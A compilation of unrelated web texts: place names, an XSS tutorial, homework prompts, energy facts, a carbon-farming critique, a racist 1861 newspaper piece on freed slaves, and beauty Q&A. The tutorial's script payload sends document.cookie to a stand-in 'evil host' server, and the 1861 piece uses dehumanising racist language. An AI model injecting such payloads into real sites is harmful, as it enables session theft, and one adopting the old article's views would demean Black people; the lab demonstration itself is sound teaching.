Highland place names may also have Norse elements, such as "Dale" meaning valley, "Wick/Vik", meaning a bay, as in Lerwick and Uig, and "Tarbert", meaning a narrow neck of land over which it is possibly to portage a ship. Norse names are, unsurprisingly, usually found near the coast; most Gaelic words relating to the building and sailing of boats are derived from Norse. Most names of mountains which are clearly visible from the sea, and can be used for navigation, are also Norse. The Ordnance Survey website has a useful glossary here.
* Fuar is pronounced very like the French word for cold, froid and is related to it - perhaps another legacy of the Auld Alliance.
**Sgeir is derived from the old Norse word sker, which means a rock in the sea.
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How XSS does its harm.
The dangers of XSS, or cross-site scripting, have been well documented.
The above article sketches out a rather intriguing example that I will be
expanding upon a little bit. This is what you need to do, to test it out.
Simply create a new website (in wamp, just create new folder under 'www',
then create an 'index.php' file and copy over the contents as described
in the article (starting at "Consider the following example of a
simplistic message board:").
You will need to insert the following line right after the opening php tag:
Also create an empty text file 'messages.txt' in the same folder.
Start the server and in your browser navigate to the page and enter and
submit new messages a couple of times. Everything should be working fine.
In the browser it will look like this:
Now to the malicious entry. Without the evil host mentioned in the article,
everything is left to your imagination. You can go a step further and set
up another web server on your localhost to play the role of the evil host.
This is what I did. I launched a second server on my PC, using node.
Open up a command shell and type in: "Node <path-to-my-node-server>\MyNodeServer.js"
(Don't expect to see anything other than a blinking cursor, but leave it open.
You can close it later with Ctl+C.)
MyNodeServer.js should have:
var http = require("http");
http.createServer(function(request, response) {
var url = require('url');
var url_parts = url.parse(request.url, true);
var query = url_parts.query;
response.write( JSON.stringify( url_parts.query ) );
Now go back to the original web page and copy and paste
the line below into the input field in the form:
<script>document.location = 'http://localhost:8888?cookies=' + document.cookie</script> This is how the web page will look, as a result: You may ask what is the point in redirecting the user to a different website and have it display his own cookie? The point is not to show how to write malicious code, just to demonstrate that this is a real threat. There is nothing to remind you that the browser might be passing its cookie to the web server. Nor is it obvious that this might be a problem with an innocent-looking webpage like this. It is, after all, other visitors that cannot be trusted and not the web page being visited, at least not until it has been infected. At this point you can put in place the safeguards discussed in the article, such as htmlentities(), and test to see how effective such simple measures are. This setup is actually a very good test environment. It is instructive to observe how putting in the safeguards after the fact is insufficient. By patching the PHP you prevent additional scripts from being inserted into the file, but you have to remember to clean up the file from those that are already in there. Until you do, it will look as if the safeguards you put in place are not working.
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The improvement of energy efficiency is one of the main challenges we need to address to reach the objectives set by the EU 20-20-20 Strategy. Cities are responsible for two-thirds of the global energy consumption and this proportion is expected to grow further. Cities represent complex systems in which physical assets, strategic and economic activities as well as most of the world population are concentrated. Hence, to achieve relevant and enduring results in addressing energy efficiency issues, it is necessary to broaden our vision from the building scale to the whole urban structure. Urban planning is increasingly considered a crucial element in the long-term energy efficiency strategies.
Published: 2015-08-23
Full Issue
LUME (Land Use, Mobility and Environment)
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1. WRITING ASSIGNMENT ON DRAMATIC ADAPTATION 750 Words.Any performance relies for its effect on an interaction between the elements of performance (speaking, acting, music, scenery, lighting, stage space, etc.) and the audience. The performance elements may be functional (the plot requires set and props), sociological (costumes reflect something about the characters), atmospheric (the stage and lighting emphasizes dialogue), symbolic (various elements represent something about the plot). Often, the audience chooses a performance, rather than some other one, because it has some expectations and preferences about the actors, directors, producers, theatre company, etc. The performance either fulfills or somehow surprises these expectations. For this piece of writing, I want you to explore the ways in which viewing a performance surprised the expectations attached to reading the text.You are NOT writing a review (what you liked and didn’t like) but rather an analysis of how the physical presentation of the play affected (enhanced, altered, confused) the interpretation of the dramatic text. Your likes and dislikes will affect your interpretations of course, but they are not the primary focus of this assignment.Use the instructions I gave you for The Tempest.1. Before the performance starts, read any director’s notes or author’s notes available.2. Attentively watch the performance, paying particular attention to any aspects of the total theatrical event (casting, set, costumes, lights, props, music, and especially alterations to the text) that change the impressions you gained about the work by reading it.THESE CHANGES WILL BECOME THE FOCUS OF YOUR ANALYSIS.3. USING PLENTY OF CONCRETE DETAIL, explain how 3 different elements of the theatrical production interpreted, not just illustrated, the dramatic text. I’d like one of your 3 focal points to be the casting of female actors in roles originally written for men.Good use of detail: The funeral procession passing in the background as the Chorus pleads with Oedipus to find the source of the plague emphasized that the secret of Oedipus’ identity isn’t just his private crisis but a crisis for the whole community that made him its king.Weak use of detail: The lighting was incredibly effective. Even if true, the second observation is insufficient. It doesn’t tell me what the effect was, and why it worked or failed to work. If an actor seems too old or too young for the part, tell me what difference it makes to portray the character in this way (sometimes confounding our expectations can have a creative effect). Let me see what you saw, hear what you heard: even though I have seen the play, too, I may have reacted differently.4.After you have identified 3 specific elements of the performance on which to focus, formulate a thesis statement (a judgment you can defend by reference to your details) about the production’s interpretation of the dramatic text. DON’T just write a list of the elements on which you will focus.5.Be sure to proofread. Slipshod presentation has a negative effect on the reader. Give your essay a title that would enable a cold reader to know what it was about.
3. you may need to watch this video “August Wilson’s Fences” or “Susan Glaspell’s Trifles”. Choose one of them to write about. Plz do meet the requirements above. So that I can pay for it. Thanks , this is the which is very important for me.
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Ayahuasca is an uncontrolled substance in Colombia given its important role in some of the religious practices of the country’s indigenous communities. A number of psychedelic retreats exist throughout the country.
Psychedelics in Colombia: A Brief History
The use of psychedelic plants in Colombia dates back thousands of years. Many of these plants were used by indigenous groups during ceremonies for a variety of reasons, be they spiritual or otherwise. Groups such as the Yekwana and Kofan in Colombia have used ayahuasca for thousands of years. In Colombia, this psychoactive brew is known as yagé. It is used in religious ceremonies like the tukanoan Yurupa, an initiation rite at the start of a boy’s adolescence. The Chibcha in Colombia prepared a fermented liquor to which they added morning glory sees (which contain lysergic acid amide) to give to the slaves and the wives of the dead chief before they were buried alive with his corpse.
A number of mushrooms rich in psilocybin grow across Colombia. Though less is known about their historical use, it is presumed that, much like the rest of ancient Central and South America, the use of these mushrooms for spiritual purposes was commonplace in Colombia.
Psychedelics in Colombia Today
Given the legal status surrounding ayahuasca in Colombia, numerous retreats exist across the country. As is the case with many countries that have a long history of using psychedelic plant medicine, tourists flock from all over the world to take part in ceremonies with ayahuasca and other psychedelics.
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Chilean poet Pablo Neruda remembered
This video says about itself:
13 July 2016
Celebrating the life of Chilean poet, Pablo Neruda, who was born 112 years ago. While still remembered all over the world for his Nobel Prize-winning poetry, Neruda also held strong political convictions that may have even led to his death.
Directed by Pablo Larraín; written by Guillermo Calderón Pablo Larraín’s Neruda is a highly unconventional and dissatisfying biopic of the Chilean poet (1904-73). The film focuses in particular on the year 1948, when the beginning of the Cold War led to a sharp change in Chile’s political situation and a climate of increasing repression. Neruda, at the time already a significant artistic and political figure, went into hiding for an extended period and ultimately was able to escape the country: here.
CHILE: Pablo Neruda’s nephew blames money owed by Chile to laboratories abroad for blocking final tests to determine the cause of death of the Nobel Prize-winning poet. Rodolfo Reyes said the government owed about $16,000 (£12,000), mainly to laboratories in Canada and Denmark. The leading communist died after Chile’s 1973 fascist military coup and the post-coup government claimed in 2015 that it was “highly probable that a third party” was responsible for his death: here.
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The Beaufort Negroes — A Small Elephant on Hand.
[From the Rochester Union, Nov. 16.]
The "subjugation" of a small slaveholding district in South Carolina thickly "people" by "chattels" whose (pardon the bad grammar) owners have run away, leaving the slaves the "masters of the situation," "subject only to the constitution of the United States," and the armies thereof, presents a practical question for practical solution! It may appear a very simple problem to some of our "statesmen" of the abolition persuasion; but to us it appears surrounded by difficulties and embarrassments.
Let us suppose, for instance, that the military occupation of our armies shall extend to Beaufort district, and contiguous territory enough to embrace a slave population of 50,000 of all ages, sexes, hues and conditions — what shall we do with them? That is the question the solution of which it would seem cannot be long postponed.
The irrepressible "friends of human freedom" would probably declare the slaves free and turn them loose to take care of themselves, like the rest of mankind. Very well; suppose we do so, is the problem solved and disposed of? Who shall govern the newly made "citizens?" Shall they be subject to martial law only? If so, what "sovereign" shall succeed when our armies "abdicate?" — as they must sooner or later. If the state of South Carolina finally resumes her allegiance, will she not reduce the enfranchised slaves to their old condition? If, on the contrary, our armed occupation is to be made permanent, must not the negroes be admitted to the enjoyment of the "inalienable right" of self-government? And if so, what sort of a government would they get? Who is to have the estates abandoned by the rebels and confiscated by our government? If the negroes, by what moral right? If loyal white emigrants, what relations will they hold to the negroes — who will be as ten or twenty to one white? Admitting them to citizenship or at least to freedom, how will a sprinkling of whites keep the ignorant and turbulent masses in any sort of subjection? Or if numbers be permitted to rule, regardless of color, intelligence, or moral qualifications, will not the poor and needy vote to "possess the land" and abolish the tenures in virtue of which they shall have been excluded from the ownership of the soil? But we will suggest no more difficulties, although they continue to increase as one reflects upon the subject. We would remark, however, that a moment's reflection will convince one that the question must be settled, if at all, upon the basis of allowing the negroes to remain where they are, if not in the condition in which we find them. For it would be physically impossible to transport them to Africa or even to Hayti, were there none but physical obstacles in the way. And as to permitting them to wend their way to the north — that is a thing not to be thought of. For were the intermediate country favorably disposed to their transit, they would find an impassable barrier as soon as they should reach the boundary of a free state. This we deem it perfectly safe to assume in advance. It is not a matter of doubt that the moment this state, for instance, were threatened with an immigration of 60,000 or 100,000 negroes just converted from slaves to freemen, the people, without respect to party, would insist upon the passage of a law that should secure us an exemption from so intolerable a nuisance. And every northern state would hasten to adopt a similar policy.
Thus we see that we have already on our hands a small "elephant" which it will tax all our ingenuity to dispose of.
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How does Sweden generate its electricity?
Most of Sweden’s electricity supply comes from hydro and nuclear, along with a growing contribution from wind. Heating is supplied mainly through bioenergy-based district heating and heat pumps. Most of Sweden’s greenhouse gas emissions come from the transport sector, which remains reliant on oil.
How Sweden is transforming homes into power stations?
54% of Sweden’s power comes from renewables and this energy is increasingly local. Smart grids are switching Swedish homes from energy consumers to power-making ‘prosumers. ‘ Local ‘district heating’ plants use excess heat to warm the majority of Swedish homes.
Does Sweden export electricity?
Total exports / imports
Electricity is a Swedish export. Sweden’s electricity consumption is about 140 TWh a year and in recent years, net exports have been 10-30 TWh. We have many important electricity connections to neighbouring countries.
What percent of Sweden’s power is renewable?
In 2017 the share of energy from renewable sources in Sweden was 55% in energy use, 69% in heating and cooling, 66% in electricity and 27% in transports. In 2019, 97% of the energy used for public transport was renewable.
How much of Sweden’s energy is renewable?
With almost 56 per cent (2019) of the energy used in Sweden coming from renewable sources, the country tops the European Union.
IT\'S FUNNING: What are the five most often used sources of renewable energy?
Does Sweden have nuclear power plants?
Nuclear power currently represents approximately 35 per cent of Sweden’s national power supply. There are three nuclear power plants in the country, with a total of six reactors in operation. These NPPs are the Forsmark, Oskarshamn and Ringhals plants. The Forsmark NPP has three reactors in operation.
How much electricity does Sweden produce?
Electricity sector in Sweden
Electricity in Sweden (TWh)
Year Use Produce
2017 141.2 160.2
2018 141 158
2019 138.3 164.4
When did Sweden get electricity?
In 1885 the first Swedish DC facility for street lighting was put into operation in Härnösand. In the late 1800s total energy demand in the industrialised world increased, and electricity became increasingly attractive as an energy source.
Is electricity free in Sweden?
Wind power has seen a significant increase in capacity in recent years, and is expected to take a larger share of production in the future. … Adding Sweden’s substantial nuclear generation to the renewable power means 96% of Sweden’s electricity production is CO2-free.
Is Sweden fossil fuel free?
Sweden has delivered the world’s first shipment of steel produced without the use of fossil fuels, a major milestone on the road towards cutting carbon emissions from industry.
Which country has the most renewable energy?
Characteristic Capacity in gigawatts
China 895
U.S. 292
Brazil 150
India 134
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From land grab to soil grab - the new business of carbon farming
by GRAIN | 23 Feb 2022
Farmer looking at erosion in field. Photo:
• The world's largest agrochemical companies want to use carbon credit programmes as a smokescreen for the emissions of big oil, food and tech corporations.
• Faulty carbon sequestration schemes reinforce a model of industrial agriculture and food that erodes soils and is responsible for over a third of global greenhouse gas emissions.
• Farmer organisations and civil society groups in several countries are struggling to stop governments from passing legislation that would make these corporate carbon farming schemes core parts of national emission reduction plans.
• Only through a vast programme of agroecology, land redistribution and the re-localisation of food systems can we effectively build carbon back into the soils and cut emissions in the food system.
Industrial agriculture is much like a sprawling mine. To get big yields, lands are mined of nutrients and then increasing amounts of chemical fertilisers are added to make up for the loss. The chemical fertilisers themselves are produced by mining minerals and extracting fossil fuels elsewhere.
There are ways to farm without depleting soils, but, over the years, agribusiness corporations and governments have sidelined such alternatives. Small farmers with the knowledge, practices and seeds to maintain healthy soils have been pushed off of their lands and criminalised. Researchers exploring ways to reduce fertilisers by building up plant root systems or soil biodiversity have been marginalised, underfunded and shut down. Meanwhile, millions of hectares of fertile forests, savannahs and peasant farmlands and pastures have been cleared to make way for sterile plantations growing only a few chemically-dependent varieties of commodity crops.
The result is a catastrophic loss of soil organic matter-- the building block of healthy soils. Over half of the soil organic matter in the world's agricultural soils has already been lost, with over 2 billion hectares of farmland badly affected.[1]It translates into declining crop yields, increasing pollution of water systems from fertiliser run-off, and because soil organic matter is mainly composed of carbon, the release of enormous amounts of carbon into the atmosphere.
Yet, the main culprits behind this soil catastrophe are now recasting themselves as soil saviours. The world's top fertiliser company, Yara, recently created an alliance to pursue "a new solution to our carbon challenge that's grounded in the soil". Global commodity trader Cargill is rolling out several new initiatives to support what it calls "regenerative agriculture". "Soil health is a win-win," says Cargill. Over the past couple of years, nearly all of the biggest corporate players in agribusiness have launched or joined initiatives to restore carbon in agricultural soils (see Table 1).
The reason is simple; there is now money to be made from storing carbon in the ground. Governments and corporations are desperate to find ways to avoid making real cuts to their fossil fuel emissions and are willing to pay others to sequester carbon so they can continue burning fossil fuels. The challenge is to find places to sequester this carbon-- and what better place than in the world's carbon-depleted farmlands? Some estimate the capacity to sequester up to 3.4 Gt of carbon per year in agricultural lands-- which is roughly one-third of the annual emissions from the fossil fuel and cement sectors.[2] With a price of about USD$20 per tonne of carbon sequestered on today's carbon credit markets, that's a lot of money that's potentially out there to be made. Enough to attract the most notorious soil miners.
If this "win-win" sounds too good to be true, that's because it is. Yes, as La Via Campesina and many other organisations have long argued, we need to build carbon back into the soils to address the climate crisis.[3]But this requires a vast programme of agroecology, land redistribution and the re-localisation of food systems. And it certainly cannot be done at the cost of enabling more fossil fuel emissions. The carbon farming programmes that corporations are hastily pushing are fraught with problems. They amount to a big soil grab. These programmes are designed to greenwash pollution and consolidate control over food and agriculture in the hands of a small number of corporations, whose activities are increasingly integrated through digital platforms.
The ABCs of carbon credit farming
The typical soil carbon farming programme looks like this.
Farmers sign up for the programme online. They then have to start implementing certain farming practices that are supposed to draw carbon into their soils. These are generally limited to planting cover crops and doing less or no-tillage but can also include integrating trees or applying fertilisers more efficiently.
Farmers log their practices onto corporate digital platforms, but satellite or aeroplane surveillance monitor their farms. Some programmes require farmers to submit soil samples; others rely entirely on remote verification systems. Farmers generally have to maintain these practices and are responsible for keeping the carbon sequestered in their soils for between 5-10 years to fulfil their contract. However, timelines can extend to 20 or 25 years.
Farmers are then paid based on the calculated amount of carbon sequestered and the prevailing price for carbon in global carbon credit markets. Typically 20-25% is deducted to account for future losses of carbon that could occur after the programme ends or because of calamities like droughts and fires. The company typically takes another 25% as fees.
There are a growing number of these carbon credit farming programmes out there, most of them led by or connected to a multinational agribusiness corporation. Nearly all of them are based in areas where agriculture is dominated by large-scale farms producing a few commodity crops, such as the US, Brazil, Australia and France. They focus almost entirely on the adoption of two simple practices: rotations with cover crops and reduced or no-tillage (no-till), which essentially involves burning down weeds with a broad-spectrum herbicide like glyphosate.
There are a few exceptions. Yara is testing a pilot programme in India through its Agora Carbon Alliance, and the Dutch agribusiness lender Rabobank has a partnership with Microsoft that pays small farmers in Asia, Africa and Latin America to plant trees on their lands. Rabobank intends to sign contracts with 15 million farmers within the next decade.[4]
Magical thinking
Corporations are pushing ahead with these carbon credit programmes even though there are many well-known problems and limitations.[5]
The most glaring problem is that these programmes are all based on offsets. The companies finance their programmes by selling credits to corporations or governments to offset their actual fossil fuel emissions. But it isn't possible for soils to absorb enough carbon to significantly offset global fossil fuel emissions. In a best-case scenario, soils could absorb roughly the amount of carbon that has been historically lost from industrial agriculture, after which there can be no further sequestration. Soil carbon sequestration can in no way substitute for immediate and deep reductions in fossil fuel emissions.[6]Moreover, since soils are one of the only major carbon sinks that exist, we should only use them to allow for the most critical sources of emissions needed for our survival, not to offset the emissions of corporations like Walt Disney and PepsiCo.
Another major problem with these corporate programmes is the lack of permanence. While cuts to fossil fuel emissions are real and immediate, there is no guarantee that the carbon sequestered by carbon credit farming will not be released back into the atmosphere. Most carbon credit farming programmes last ten years when carbon needs to be stored for at least 100 years to meaningfully make a difference to global warming. Once the programme ends, land can be converted to a parking lot or ploughed up and doused with chemical fertilisers without any penalty. Indeed, climate change will lead to more weather events, like droughts and fires, that greatly increase the risks of carbon being released from the soil. To make up for this lack of permanence, carbon credit farming programmes usually deduct 20-25% from the credits accredited to participating farmers as a buffer-- but there is no scientific basis to this figure. Indeed, one US carbon farming company admits it would cost over ten times more for credits that are based on 100 years of carbon retention in the soils.[7]No carbon credit buyer is willing to pay this much.[8]
Then there is the issue of how to measure the carbon sequestered. Annual soil testing and field visits are expensive and, in practice, prohibitive without subsidies or a much higher carbon price. The OECD estimates that these costs, combined with financial fees, can add up to 85% of the total value of the carbon credits.[9]The EU's LifeCarbonFarming scheme estimates costs to each farm for validation, verification, and market registration of €110,000-240,000 (USD 124,483-271,600) over the first five years![10]In some cases, the farmer has to pay for these costs; in most cases the costs are integrated into the programme. But, either way, the high costs mean that rigorous verification is completely out of the question when it comes to small farms and barely economical for even the largest farms.
To bring costs down, corporations are focussing their efforts on developing remote verification systems, where satellite and aeroplane monitoring, historical soil records, and models are used to estimate the carbon sequestered.[11]Remote verification, however, can never be as accurate as soil testing. For example, researchers looking into carbon credits purchased by Microsoft from a large-scale pasture farm in Australia where remote verification was used found that the level of carbon sequestration was greatly overestimated.[12]Moreover, remote verification becomes even less accurate when farmers are not growing large-scale monoculture crops using uniform industrial practices. It cannot effectively measure soil carbon changes in complex, agroecological farming systems, where multiple crops, livestock and trees are integrated. In fact, even soil testing has its limitations. A recent global survey found that farming without tillage (no-till) only increases the soil organic matter at the surface level of the soil, where soil test samples are taken, but when samples are collected that cover a greater depth, there is no significant change in carbon.[13]
An additional problem with corporate carbon farming is the issue of "additionality". To qualify as carbon offsets, farmers enrolled in carbon farming programmes have to show that they are sequestering carbon that would not otherwise be sequestered. Suppose a programme is launched in an area where farmers had already started planting cover crops for other reasons (for example, restoring soil health). In that case, it will not be possible to determine how much "additional" planting of cover crops is due to the programme. This is particularly true for the corporate programmes since they rely almost exclusively on farms adopting practices, like cover crops and reduced tillage. However, many farmers were already adopting them without the carbon schemes and are likely to adopt these practices as other incentives come into being, like public programmes or new markets for cover crops.[14] In Brazil, for instance, the government claims to have already converted 8 million hectares to no-till through an emissions reduction plan that provides low-interest loans to participating farmers-- without the need for carbon credits.[15]
And then, there is the issue of the greenhouse gases these carbon credit farming programmes generate. Nearly all the programmes focus narrowly on quantifying carbon sequestered in the soil and do not consider the overall emissions that industrial farming produces. They do not factor in the amount of chemical inputs a farm applies or the amount of fossil fuels burnt running tractors and other machinery, or the increased emissions that can result from the first years of transition to no-till.[16]They do not account for the emissions produced by their remote verification systems either-- from the energy needed to store the data these systems generate to the aeroplanes or satellites they use to monitor farms. And they are based on tweaks to a model of industrial agriculture that depends heavily on chemical inputs and that supplies a hugely wasteful and polluting corporate food system.[17]
Given all of these problems, there is simply no way that the carbon that these programmes claim to sequester in the soil can be equated with concrete, reductions in greenhouse gas emissions. And yet agribusiness corporations continue to steamroll ahead with more projects, while climate polluters like Shell and Nestlé eagerly buy up the credits-- and the EU, the US, Brazil and other governments look to emulate Australia and make these programmes part of their national climate plans (see Box on Australia).
Insolo’s soybean farm in Piaui, Brazil. Photo: Insolo
A global soil grab
The corporate interest in carbon farming extends beyond simply greenwashing industrial agriculture or offsetting emissions. It provides a powerful incentive to draw farmers into the digital platforms that agribusiness corporations and big tech companies are jointly developing to influence farmers on their choice of inputs and farming practices.[18]Most corporate carbon farming programmes already require farmers to sign-up to the apps of agribusiness companies, and programmes that operate independently are rapidly being bought up. Moreover, these platforms, as well as the remote verification systems, are often based on partnerships with big tech companies, like Microsoft and IBM, who are themselves major buyers of carbon credits.[19] The companies intend to make their digital platforms one-stop shops for carbon credits, seeds, pesticides and fertilisers and agronomic advice, all supplied by the company, which gets the added benefit of control over the data harvested from the participating farms.
Farmers, on the other hand, have little to gain. The carbon sequestered payments per tonne do not justify the added costs unless you farm on thousands of hectares.[20]At the farm level, those best placed to benefit from these programmes are the pension funds and billionaires who have been buying up large farmland areas in recent years.[21]It provides them with an additional potential revenue stream and can be factored into the asset value of their lands. It can also be added to their portfolio of "green" investments. Financial managers can now use digital platforms to buy farms in Brazil, sign them up for carbon credits, and run their operations all from their offices on Wall Street.[22]
Well-grounded solutions
The food system is the source of over a third of global greenhouse gas emissions, and climate actions must focus first and foremost on reducing emissions, not offsets. Programmes that help farmers to restore carbon in their soils are necessary and should be publicly supported. Still, to effectively deal with the climate crisis, they must be firmly integrated with larger actions to eliminate greenhouse gas emissions on the farm and throughout the food system. This requires a rapid phase-out of nitrogen fertilisers and other chemical inputs. It means a widespread shift to agroecological farming, along with support to local food markets that can bring these foods to nearby consumers and actions that ensure small farmers have access to lands and water. It means a revitalisation of farmer seed systems focussed on developing varieties adapted to local contexts and not dependent on chemical inputs. It involves policies to eliminate the surplus production and consumption of high-emissions foods, like meat and dairy, and the wasteful and unhealthy ultra-processed foods that the big food corporations heavily promote.
The food and agribusiness corporations that profit off of today's global food system will not support these real solutions. Corporations are cogs in the wheel, and unless their power is challenged, they will continue to block necessary action and push us into diversions like carbon credit farming. No amount of greenwashing can alter that reality.
Australia's soil grab and similar threats in other countries
Australia established a national Carbon Farming Initiative in 2011 to generate offsets to meet its emissions reduction targets. Projects that meet the Initiative's guidelines can sell Australian carbon credit units (ACCUs) through the Climate Solutions Fund to the government or Australian corporations. So far, the government has been by far the largest buyer of ACCUs.[23]Some of the corporations participating in these projects include Shell, through its subsidiary Select Carbon, and TotalEnergies, through a tie-up with the Australian carbon farming company Agriprove.
The Initiative has had difficulty generating enough carbon credits to meet the demand from Australia's big emitters, who much prefer offsetting emissions to reducing them. So, to increase supply, the government has opted to lower standards for carbon credits, such as dropping the obligation on carbon farming projects to ensure a permanence period from 100 years to 25 years. However, with the price for carbon credits increasing, Australia is now faced with a carbon credit land grab. In early 2022, the government put forward legislation to give it a veto on carbon farming projects of over 15 hectares to stop financial companies from buying up farmland and converting it to tree plantations for carbon credits. The government needed the veto because investors were buying up large swaths of productive agricultural land only to "simply walk away and throw away the key".[24]
Others warn that Australia's purchase of millions of carbon credits from carbon offset projects that cannot guarantee permanence will jeopardise its overall emissions targets. The vice-chair of the Intergovernmental Panel on Climate Change, Mark Howden, says Australia's reliance on soil carbon to cut emissions is "problematic and risky" as the climate warms. "As things get hotter and drier, which is the prediction for southern Australia, then the soil carbon is likely to go down," he says.[25]
Yet other governments with highly polluting agricultural sectors seem determined to follow Australia's questionable path. The National Family Farm Coalition and other civil society organisations in the US are locked in a fight to stop the Biden administration from passing legislation that would create a national market for carbon credit farming.[26] Similarly, the European Coordination Via Campesina and other groups in Europe are battling to stop the European Commission from forging ahead with its own plans for a European-wide carbon credit farming programme.[27]Even Brazil, where the agricultural sector accounts for over two-thirds of national emissions (if deforestation is included), the Bolsonaro government is pursuing a National Emissions Reductions Market that would exclude most agriculture emissions from national caps and thus enable the sale of offsets from carbon credit farming to foreign companies and governments.[28]
[1]Alan Richardson et al., "Soil organic matter and carbon sequestration in Jim Pratley and John Kirkegaard (eds), "Australian Agriculture in 2020: From Conservation to Automation", Agronomy Australia and Charles Sturt University, 2019:
[2]Sam Keenor et al., "Capturing a soil carbon economy," Royal Society Open Science, April 2021:
[3]La Via Campesina and GRAIN, "Food sovereignty: 5 steps to cool the planet and feed its people", December 2014: and IATP and NFFC, "Why carbon markets won't work for agriculture," February 2020:
[4]Rabobank, "Acorn Framework, v.1.0," September 2021:
[5]See, for example, the study commissioned by the European Parliament by Hugh McDonald et al., "Carbon farming: Making agriculture fit for 2030," November 2021:
[6]For an excellent discussion, see the National Farmers' Union of Canada's "Submission to the Public Comment Period for the Federal Government's Draft Greenhouse Gas Offset Credit System Regulations", May 2021:
[7]Nori, "Achieving NRT permanence":
[8]This study done for the Ecosystem Market Consortium lists carbon prices leading corporations are willing to pay: "Economic Assessment for Ecosystem Service Market Credits from Agricultural Working Lands", October 2018:
[9]OECD, "Soil carbon sequestration by agriculture: Policy options," January 2022:
[10]Hugh McDonald et al., "Carbon farming: Making agriculture fit for 2030," Study for the European Parliament's ENVI Committee, November 2021:
[11]The US company Cloud Ag is developing aeroplane hyperspectral imaging to determine the presence of carbon and other nutrients in the soil, in partnership with Microsoft, and is deploying its technology in the US, Brazil and Australia. Jack Ellis, "Startup Spotlight: Cloud Ag seeks to replace soil sampling by measuring carbon from the air," AgFunder News, December 2020:
[12]Aaron Simmons et al., "US scheme used by Australian farmers reveals the dangers of trading soil carbon to tackle climate change", The Conversation, June 2021:
[13]Alan Richardson et al., "Soil organic matter and carbon sequestration" Jim Pratley and John Kirkegaard (eds), "Australian Agriculture in 2020: From Conservation to Automation", Agronomy Australia and Charles Sturt University, 2019:
[14]It is an open question what will hBloomberg, “Crop-Trader Bunge Sees Lasting Boom in Global Drive for Biofuels”, 9 February 2022:
[15]SEEG, "Análise das emissões brasileiras de gases de efeito estufa e suas implicações para as metas climáticas do Brasil 1970 – 2020", 2021:
[16]On increases of nitrogen fertiliser use in the first years of adoption of no-till, see Syam Dodla, "No-Till Conservation Agriculture and Fertilizer Use," LSU AgCentre, October 2018:
[17]Réseau Climat Action - France et al., "Positionnement sur le label bas-carbone et la méthode pour le secteur agricole," November 2020:
[18]GRAIN, "Digital control: how Big Tech moves into food and farming (and what it means)," January 2021:
[20]Vandana Sebastian, "Soil carbon credits: The realities on the ground", S&P Global, August 2021:
[21]GRAIN, "The global farmland grab goes green," May 2021:
[22]See, for instance, the online farmland real estate platform AcreValue. "Ag-Analytics Acquires AcreValue From Corteva, Announces Partnerships With Farmer Mac And Indigo Ag," Farmer Mac, October 2021:
[23]See the website of Australia's Clean Energy Regulator:
[24]Jacob Greber, "More time to debate carbon credit farm veto plan," Australian Financial Review, January 2022:
[25]Georgie Moore, "Key emissions reduction assumption 'risky'," AAP, October 2021:
[26]See the collective letter by US CSOs, "Oppose Carbon Offset Scams Like the Growing Climate Solutions Act," April 2021:
[27]ECVC, "European Commission’s vision of carbon farming is inadequate to achieve the Green Deal objectives," February 2022:
[28]Bill 528/2021, which is attached to Bill 2148/2015, would establish a Brazilian Emissions Reduction Market which considers the agricultural and forestry sectors as activities not regulated by the mandatory market. See:
Author: GRAIN
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Homework help
Within the context of Smart Cities, many regions are employing e-technologies to enhance public service. Todays cities and towns reveal improvements to providing public services because of e-government capabilities. Select a town or city located in the United States, and write an investigative summary detailing at least one e-government application that has improved public service provided to the citizenry. Refer to the unit study guide for application ideas that include wireless technology services or mobile apps used on smartphones to enhance public services.Your paper should logically identify the following items:
who the service impacts (lists all stakeholders and beneficiaries),
what the technology offers (identify what the capabilities the service provides),
where the service is located,
when the capability or service began,
why the technology enhances or improves services, and
what the cost estimates were to initiate and/or maintain these capabilities.
Your assignment must be a minimum of two pages in length and follow APA style. Be sure to include a title page containing the title of the assignment, your name, and the name of the university. The title page and the reference page are not included in the required assignment page length.
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Two Sealed Containers Contain Water and Are at the Same Temperature. One Jar Contains 100 ML of Wate
What is the definition for vapor pressure? Isn't it a function of the material and its temperature in a closed system?Let's start with a tank, partially filled with liquid benzene that you control and assume there are zero benzene molecules in the volume above the liquid. You also keep the system at a constant temperature and volume. When I say "go" you release the liquid and watch what happens. Go! Now, the most energetic benzene molecules will leave the surface and fly around the space above the liquid and bounce off the tank's walls. This is called evaporation and more molecules will continue to leave the liquid. Wait, I just saw a molecule dive back into the liquid? Molecules continue to leave and return until there is a balance. The number of molecules escaping equals the number returning. This is now an equilibrium condition between the liquid and gaseous (vapor) benzene.Do you agree that a pressure gauge in the gaseous region would have a non-zero reading? It was zero when we started, right? This is called the vapor pressure of Benzene and is dependent on the temperature. The process we have observed, is it dependent on the volume? Not on the final pressure (vapor pressure). Nor the total volume but the surface area does determine how long it will take. Which of two identical wet towels dries faster? The one which is laid out flat or the one all squashed together?One other consideration. This discussion requires there be enough liquid benzene in the container so that there is still liquid once equilibrium is reached. If all the liquid evaporates, you will not have an accurate vapor pressure reading.Two sealed containers contain water and are at the same temperature. One jar contains 100 mL of water, while the other contains 15 mL of water. Despite the difference in volume, the vapour pressure in both containers is the same. Why is that?
1. Does hair become smoother when you blow-dry it?
With my hair, blowdrying it doesnt necessarily make it smoother but easier to manage. And it does make it look fuller in volume
2. what makeup brands did marilyn monroe use?
Yes, Benefit is also another favorite brand of mine. I am trying out several things from them. - Bad Gal Lash - I like it better when you first get it, after it dries out it's not that great anymore. But this does provide volume, and length! - Hoola Bronzer, I like their bronzer. It's a little chalky though, but I am not a bronzer person so. - High Beam, I do like this product a lot, it gives you a beatiful glow, and is great when you are going to take pictures - Posie Tint, It's okay I think I like the other colors better than this certain color, it's pink it does not really show on the cheeks, so I use it as a base :) but it dries your lips out if you use it on your lips - Dandelion Blush, I love this blush, it's a very light natural blush! - Dandelion Lip Gloss, It's good for a sheer lip gloss for everyday.
3. How to be sexier??? Lol?
Smokey eyes, lip stick that looks good on you, bronzer draw you eyebrows so they are more defined fake lashes not super long or you will look tooo fake, low shirt, push your boobs up lol. Sorry and curl you hair big curls with volume!
4. Should I wear miniskirts if I'm top heavy?
